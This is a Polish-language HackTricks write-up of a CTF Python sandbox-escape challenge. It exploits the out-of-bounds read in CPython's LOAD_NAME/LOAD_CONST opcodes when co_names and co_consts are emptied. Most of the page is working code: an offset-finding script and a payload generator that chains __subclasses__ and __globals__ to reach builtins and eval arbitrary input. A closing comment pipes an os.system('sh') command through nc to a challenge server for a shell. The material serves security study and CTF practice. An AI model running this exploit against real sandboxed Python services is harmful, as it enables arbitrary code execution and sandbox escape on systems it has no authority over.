LOAD_NAME / LOAD_CONST opcode OOB Read

Naucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Naucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Udostępniaj sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

Te informacje zostały zaczerpnięte z tego opisu.

TL;DR

Możemy wykorzystać funkcję OOB read w operacjach LOAD_NAME / LOAD_CONST, aby uzyskać pewien symbol w pamięci. Oznacza to wykorzystanie sztuczki takiej jak (a, b, c, ... setki symboli ..., __getattribute__) if [] else [].__getattribute__(...) aby uzyskać symbol (takie jak nazwa funkcji), którego chcesz.

Następnie wystarczy opracować swój exploit.

Przegląd

Kod źródłowy jest dość krótki, zawiera tylko 4 linie!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

Możesz wprowadzić dowolny kod Pythona, a zostanie on skompilowany do obiektu kodu Pythona. Jednak co_consts i co_names tego obiektu kodu zostaną zastąpione pustym krotką przed ewaluacją tego obiektu kodu.

W ten sposób wszystkie wyrażenia zawierające stałe (np. liczby, ciągi znaków itp.) lub nazwy (np. zmienne, funkcje) mogą spowodować błąd segmentacji na końcu.

Odczyt poza zakresem

Jak dochodzi do błędu segmentacji?

Zacznijmy od prostego przykładu, [a, b, c] może zostać skompilowane do następującego kodu bajtowego.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

Ale co jeśli co_names stanie się pustym krotką? Opcodes LOAD_NAME 2 i tak są wykonywane, próbując odczytać wartość z tego adresu pamięci, z którego początkowo powinna pochodzić. Tak, to funkcja odczytu spoza zakresu.

Podstawowa koncepcja rozwiązania jest prosta. Niektóre operacje w CPython, na przykład LOAD_NAME i LOAD_CONST, są podatne (?) na odczyt spoza zakresu.

Pobierają one obiekt z indeksu oparg z krotki consts lub names (tak są nazwane co_consts i co_names pod spodem). Możemy odnieść się do poniższego krótkiego fragmentu dotyczącego LOAD_CONST, aby zobaczyć, co robi CPython podczas przetwarzania operacji LOAD_CONST.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

W ten sposób możemy użyć funkcji OOB, aby uzyskać "nazwę" z dowolnego przesunięcia pamięci. Aby upewnić się, jaką nazwę ma i jakie ma przesunięcie, wystarczy próbować LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... I możesz znaleźć coś w okolicach oparg > 700. Możesz także spróbować użyć gdb, aby przyjrzeć się układowi pamięci oczywiście, ale nie sądzę, że byłoby to łatwiejsze?

Generowanie ataku

Gdy już pozyskamy te przydatne przesunięcia dla nazw / stałych, jak uzyskać nazwę / stałą z tego przesunięcia i jej użyć? Oto sztuczka dla Ciebie: Załóżmy, że możemy uzyskać nazwę __getattribute__ z przesunięcia 5 (LOAD_NAME 5) z co_names=(), wtedy po prostu wykonaj następujące czynności:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

Zauważ, że nie jest konieczne nazwanie tego jako __getattribute__, możesz nazwać to jako coś krótszego lub bardziej dziwnego

Możesz zrozumieć powód po prostu przeglądając jego bytecode:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

Zauważ, że LOAD_ATTR również pobiera nazwę z co_names. Python ładuje nazwy z tego samego przesunięcia, jeśli nazwa jest taka sama, dlatego drugie __getattribute__ jest nadal ładowane z przesunięcia=5. Korzystając z tej funkcji, możemy użyć dowolnej nazwy, gdy nazwa jest w pamięci w pobliżu.

Generowanie liczb powinno być trywialne:

• 0: not [[]]

• 1: not []

• 2: (not []) + (not [])

• ...

Skrypt Wykorzystania

Nie użyłem stałych ze względu na limit długości.

Najpierw oto skrypt, który pozwala nam znaleźć te przesunięcia nazw.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

I poniżej znajduje się kod generujący rzeczywisty exploit w Pythonie.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

To po prostu wykonuje następujące czynności dla tych ciągów, które otrzymujemy z metody __dir__:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())

Ucz się i praktykuj Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i praktykuj Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Udostępniaj sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.